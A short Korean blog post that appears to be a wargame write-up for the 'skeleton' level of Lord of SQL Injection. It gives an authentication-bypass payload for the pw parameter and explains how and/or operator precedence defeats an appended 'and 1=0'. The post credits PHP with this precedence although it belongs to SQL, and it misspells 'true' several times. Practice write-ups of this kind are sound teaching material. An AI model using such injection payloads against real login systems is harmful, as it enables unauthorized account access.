WEB hacking/LORD OF SQL INJECTION

[Lord of SQL Injection] skeleton 문제 풀이

Roronoa 2023. 4. 16. 23:04
반응형

문제 정보

문제 이름 : skeleton 

문제 설명

[그림 1] skeleton 문제 접속

이 문제는 쿼리 뒤에 and 1=0이 추가가 되었다.

딱보니 연산자 우선순위 문제 인것같다.

php에서 and연산이 or연산보다 먼저 수행된다.

 

pw에 아래의 값을 넣으면 문제를 해결할 수 있다.

' or id ='admin' or '1'='1

이 값을 넣으면 select id from prob_skeleton where id='guest' and pw='' or id ='admin' or '1'='1' and 1=0 이와 같이 된다.

1. select id from prob_skeleton where id='guest' and pw='' or id ='admin' or '1'='1' and 1=0

빨간색 부분이 false가 된다.

2. select id from prob_skeleton where false or id ='admin' or '1'='1' and 1=0

빨간색 부분이 false가 된다.

3. select id from prob_skeleton where false or id ='admin' or false 

앞에 false와 id = 'admin'과 or 비교를 하는데 id가 admin인 계정이 존재하므로 True가 된다.4. select id from prob_skeleton where ture or false 

true or false는 true이다.

5. select id from prob_skeleton where ture

위와 같이 true 이므로 id='admin'인 ture값을 반환한다.

따라서 문제를 해결할 수 있다.

 

[그림 2] 문제 해결

payload는 아래와 같다.

?pw=' or id ='admin' or '1'='1
반응형